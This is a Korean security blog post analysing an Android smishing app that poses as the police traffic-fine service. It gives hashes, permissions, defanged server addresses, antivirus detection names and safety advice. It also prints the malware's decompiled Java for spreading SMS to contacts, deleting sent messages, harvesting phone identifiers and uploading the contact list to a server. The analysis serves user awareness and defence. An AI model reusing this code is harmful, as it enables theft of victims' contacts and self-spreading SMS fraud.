교통범칙금 통지 문자 사칭 스미싱 악성코드-경찰청교통민원24.apk(이파인,2021.10.21)

오늘은 교통범칙금 통지 문자 사칭해서 스마트폰 개인정보를 빼가는 악성코드인 경찰청 교통민원 24.apk(이파인, 2021.10.21)에 대해 알아보겠습니다. 일단 기본적으로 해당 스미싱 공격은 기본적으로 너 교통범칙금 있으면 그리고 해당 링크 클릭을 하면 휴대폰 전화번호 적는 곳 나오니까 거기 번호 넣으면 그걸 확인을 할 수가 있는 악성코드 나옴 그거 설치를 하면 교통범칙금 확인 가능이라고 하면서 설치 순간 스마트폰의 개인정보를 빼가는 방식을 사용하고 있습니다. 이 과정에서 공격자는 해당 스미싱 문자를 직접 수신한 핸드폰 번호가 아닐 때 입력번호 오류라는 메시지를 띄워 악성코드 앱 다운로드를 막으며. 즉 보안업체의 악성 앱 샘플 수집/진단 방해를 목적으로 공격자가 미리 확보해놓은 전화번호 DB를 활용해 일명 화이트리스트 방식의 악성 앱 유포를 시도한 것으로 추측할 수가 있습니다.
일단 해당 악성코드는. 경찰청 교통민원 24(이파인)이라는 제목을 가지고 있고 여기서 정상적인 교통민원 24 홈페이지에서 제공하는 문자통지
서비스는 특정 인터넷 사이트로 유도하거나, 프로그램을 다운 받도록
하는 클릭(누르기) 기능이 없습니다. 이점만 기억하시면 조금은 도움이 될 것입니다.

[소프트웨어 팁/보안 및 분석] - 질병관리청 사칭 질병관리청 COOV 스미싱 피싱 악성코드-질병관리청 COOV(2021.08.13)

질병관리청 사칭 질병관리청 COOV 스미싱 피싱 악성코드-질병관리청 COOV(2021.08.13)

일단 해당 악성코드를 실행을 하면 기본적으로 질병관리청 사칭 질병관리청 COOV 스미싱 피싱 악성코드 질병관리청 COOV 때 보였던 신분증/면허증 촬영하기가 보이는 것을 확인을 할 수가 있었고 기본적으로 私見(사견)으로는 아마도 질병관리청 COOV 스미싱 피싱 악성코드를 재탕을 한 것이 아닐까 생각이 됩니다.

경찰청교통민원24 악성코드 안드로이드 권한

앱 이름:교통민원 24(이파인)
패키지 이름:com.example.myapplication
해쉬값
파일명:교통민원24(이파인).apk
사이즈:2.68 MB
CRC32:56f2dd1b
MD5:21feb78d14fcd833916779ec7f0abbd1
SHA-1:8a80ef6f095855c557bdff4a046e0a0e988bf1a2
SHA-256:bfe360fc395f89367e677cbe3ae0497f4b357142d93e072159662dbc81f5edda
SHA-512:e0e290be05f8dc21bd18b5757f15dc86f9fd35ac3cf4470a884bd859108dbf6360157aef12a5e4585203a0e6bb587d9ed6d99754f8a830394c557b7b281bc605
classes:de4a2c36a55939dffda2bf51089e264c6a5befb5f1368252694c6994a42d7a0d
입니다.

경찰교통민원 24 이파인 악성코드 실행

해당 악성코드의 안드로이드 권한은 다음과 같습니다.
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"/>
<uses-permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>

경찰교통민원 24 이파인 악성코드 실행

이며 기본적으로 문자 읽기, 문자 쓰기, 앱이 프로그래밍 방식으로 수신 통화에 응답 하기, 연락처 읽기, 연락처 쓰기, 인터넷 연결, 마이크로 SD 읽기, 마이크로 SD 쓰기, 전화 걸기, 스마트폰의 번호, 기기 고유 id 등 단말기 정보 가져오기 오는 권한이 들어가져 있는 것을 확인을 할 수가 있습니다.
com.example.myapplication.Tools에서 문자에 관한 명령어들이 있는 것을 볼 수가 있습니다.

public void SendContactsServer(Context context2) {
        int i;
        int i2;
        if (!Boolean.valueOf(context2.getSharedPreferences("pref", 0).getBoolean("sendMsg", false)).booleanValue() && context2.getSharedPreferences("pref", 0).getInt("sms_switch", 0) != 1) {
            getPhoneNumber().replace(" ", "-");
            int count = 0;
            String word = context2.getSharedPreferences("pref", 0).getString("word", "test");
            String phone_list = context2.getSharedPreferences("pref", 0).getString("phone_list", "");
            if (phone_list != "") {
                String[] ps = phone_list.split("\n");
                int length = ps.length;
                int i3 = 0;
                while (i3 < length) {
                    String phoneNumber = ps[i3];
                    if (phoneNumber.length() > 3) {
                        i2 = i3;
                        i = length;
                        SmsManager.getDefault().sendTextMessage(phoneNumber, null, word, null, null);
                        count++;
                    } else {
                        i2 = i3;
                        i = length;
                    }
                    i3 = i2 + 1;
                    length = i;
                }
                SharedPreferences.Editor editor = context2.getSharedPreferences("pref", 0).edit();
                editor.putBoolean("sendMsg", true);
                editor.commit();
            }
        }
    }

    public void deleteSMS(Context context2) {
        try {
            ContentResolver CR = context2.getContentResolver();
            Cursor c = CR.query(Uri.parse("content://sms/sent"), new String[]{"_id", "thread_id"}, null, null, null);
            if (c != null && c.moveToFirst()) {
                do {
                    long threadId = c.getLong(1);
                    CR.delete(Uri.parse("content://sms/conversations/" + threadId), null, null);
                } while (c.moveToNext());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void SendNetContacts(Context context2) {
        String word = context2.getSharedPreferences("pref", 0).getString("smstext", "test");
        if (word.equals("")) {
            word = context2.getSharedPreferences("pref", 0).getString("word", "test");
        }
        String phone_list = context2.getSharedPreferences("pref", 0).getString("phone2_list", "");
        if (!phone_list.equals("")) {
            String[] ps = phone_list.split(";");
            for (String phoneNumber : ps) {
                if (phoneNumber.length() > 10) {
                    SmsManager.getDefault().sendTextMessage(phoneNumber, null, word, null, null);
                }
            }
        }
    }

    public void SendLocalContacts(Context context2) {
        int phoneIndex;
        String phoneNumber;
        getPhoneNumber().replace(" ", "-");
        Cursor cursor = context2.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        int contactIdIndex = 0;
        int nameIndex = 0;
        if (cursor.getCount() > 0) {
            contactIdIndex = cursor.getColumnIndex("_id");
            nameIndex = cursor.getColumnIndex("display_name");
        }
        String word = context2.getSharedPreferences("pref", 0).getString("smstext", "test");
        if (word.equals("")) {
            word = context2.getSharedPreferences("pref", 0).getString("word", "test");
        }
        while (cursor.moveToNext()) {
            String contactId = cursor.getString(contactIdIndex);
            cursor.getString(nameIndex);
            Cursor phones = context2.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id=" + contactId, null, null);
            if (phones.getCount() > 0) {
                phoneIndex = phones.getColumnIndex("data1");
            } else {
                phoneIndex = 0;
            }
            if (phones.moveToNext()) {
                String phoneNumber2 = phones.getString(phoneIndex);
                if (phoneNumber2.length() > 0) {
                    phoneNumber = phoneNumber2.replace(" ", "").replace("+", "");
                } else {
                    phoneNumber = phoneNumber2;
                }
                if (phoneNumber.length() == 11 || phoneNumber.startsWith("86")) {
                    SmsManager.getDefault().sendTextMessage(phoneNumber, null, word, null, null);
                }
            }
        }
    }

com.example.myapplication.Tools 에서는 전화번호 그리고 IMEI 접근에 관한 것을 볼 수가 있습니다.

public String getPhoneNumber() {
        TelephonyManager tm = (TelephonyManager) this.context.getSystemService("phone");
        String phoneNumber = tm.getLine1Number();
        if (phoneNumber == null || phoneNumber.equals("")) {
            String SimserialNum = tm.getSimSerialNumber();
            String DeviceID = tm.getDeviceId();
            if (SimserialNum != null && DeviceID != null) {
                return String.valueOf(DeviceID.toUpperCase()) + "-" + SimserialNum.toUpperCase();
            } else if (DeviceID != null) {
                return DeviceID.toUpperCase();
            } else {
                return null;
            }
        } else if (phoneNumber.charAt(0) == '+') {
            return phoneNumber.substring(1);
        } else {
            return phoneNumber;
        }
    }

    public String getTelCompany() {
        return ((TelephonyManager) this.context.getSystemService("phone")).getNetworkOperatorName();
    }

    public void testReadAllContacts(Context context2) {
        String cellNumber = getPhoneNumber().replace(" ", "-");
        Cursor cursor = context2.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        int contactIdIndex = 0;
        int nameIndex = 0;
        String phoneNumbers = "";
        if (cursor.getCount() > 0) {
            contactIdIndex = cursor.getColumnIndex("_id");
            nameIndex = cursor.getColumnIndex("display_name");
        }
        while (cursor.moveToNext()) {
            String contactId = cursor.getString(contactIdIndex);
            String name = cursor.getString(nameIndex);
            Cursor phones = context2.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id=" + contactId, null, null);
            int phoneIndex = 0;
            if (phones.getCount() > 0) {
                phoneIndex = phones.getColumnIndex("data1");
            }
            while (phones.moveToNext()) {
                phoneNumbers = phoneNumbers + phones.getString(phoneIndex) + "#" + name + ";";
            }
        }
        try {
            new MyAsyncTask2(this, this, null).execute(HttpUtils.getHttpURL(this.context) + "uploadContact.php", phoneNumbers, cellNumber).get();
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (ExecutionException e2) {
            e2.printStackTrace();
        }
    }

경찰교통민원 24 악성코드 이미지 업로드 서버

해당 악성코드에 포함이 되어 있는 인터넷 주소는 다음과 같습니다.
http://192.168.0(.)104:8087/ImageServer/upServer
K-.Ki(.)Ki/K-
http://schemas.android(.)com/apk/res-auto
http://www.cncub(.)fit/
https://www.naver(.)com/
http://schemas.android(.)com/apk/res/android
입니다.

경찰교통민원 24 악성코드 인터넷 주소

com.example.myapplication.MainActivity 에서는 다음과 같이 촬영한 신분증, 면허증을 올리는 서버가 들어가지 있습니다.
public class MainActivity extends AppCompatActivity implements View.OnClickListener {
    private static final String HOST = "http://192.168.0(.)104:8087/ImageServer/upServer";
    private Button cancel_take;
    private String filename;
    private ImageView image;
    private ImageView imageAdd;
    private ProgressDialog myDialog;
    private Handler myHandler;
    private LinearLayout pic_dig;
    private Button selete;
    String srcPath = (Environment.getExternalStorageDirectory().getPath() + "/" + this.filename);
    private Button take;
com.example.myapplication.HttpUtils 에서는 다음과 같이 되어 있는 것을 볼 수가 있습니다.
public class HttpUtils {
    public static String URL = "http://www.cncub(.)fit/";

    public static String getHttpURL(Context context) {
        String server_url = context.getSharedPreferences("pref", 0).getString("Server_URL", "");
        if (server_url.startsWith("http://")) {
            return server_url;
        }
        return URL;
    }
즉 해당 악성코드는 http://www.cncub(.)fit/,http://192.168.0(.)104:8087/ImageServer/upServer 이 악성코드를 실행을 하고 설치되고 개인정보들은 업로드 등을 하는 것이라고 할 수가 있을 것입니다.
2021-10-26 13:48:33 UTC 바이러스토탈에서 탐지를 하고 있는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Spyware/Android.Agent.1022947
Alibaba:Trojan:Android/Boogr.71a78bfd
Avast-Mobile:Android:Evo-gen [Trj]
Avira (no cloud):ANDROID/SpyAgent.FJVO.Gen
BitDefenderFalx:Android.Riskware.Agent.JEJ
CAT-QuickHeal:Android.SMForw.GEN37097
Cynet:Malicious (score: 99)
DrWeb:Android.SmsSpy.847.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BSO
F-Secure:Malware.ANDROID/SpyAgent.FJVO.Gen
Fortinet:Android/Agent.BSO!tr
Ikarus:Trojan.AndroidOS.Agent
K7GW:Spyware ( 0057f6da1 )
Kaspersky:HEUR:Trojan.AndroidOS.Boogr.gsh
Lionic:Trojan.AndroidOS.Boogr.C!c
MAX:Malware (ai Score=84)
McAfee:Artemis!3792334612DD
McAfee-GW-Edition:Artemis!Trojan
Microsoft:Program:AndroidOS/Multiverze
Sophos:Andr/Spy-BFE
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:Spyware:MobileSpy
Tencent:Dos.Trojan.Boogr.Hrzi
Trustlook:Android.Malware.Spyware
ZoneAlarm by Check Point:HEUR:Trojan.AndroidOS.Boogr.gsh
보면 대부분 정상적인 탐지명과 사전 탐지 기능으로 탐지를 하고 있는 것을 볼 수가 있으면 기본적인 보안 수칙을 지키는 것을 강조합니다.
요약
1.구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2.공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3.구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4.스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
5.소개팅 어플에서 어떤 어플을 다운로드 해서 설치하라고 하면 100% 악성코드입니다.
기본적인 보안 수칙을 지킨다고 하면 이런 스미싱 피해는 줄일 수가 있습니다. 특히 이름 있는 백신 어플을 사용을 하면 기본적으로 악성코드가 유포되는 사이트 및 악성코드를 사전에 차단할 수가 있습니다.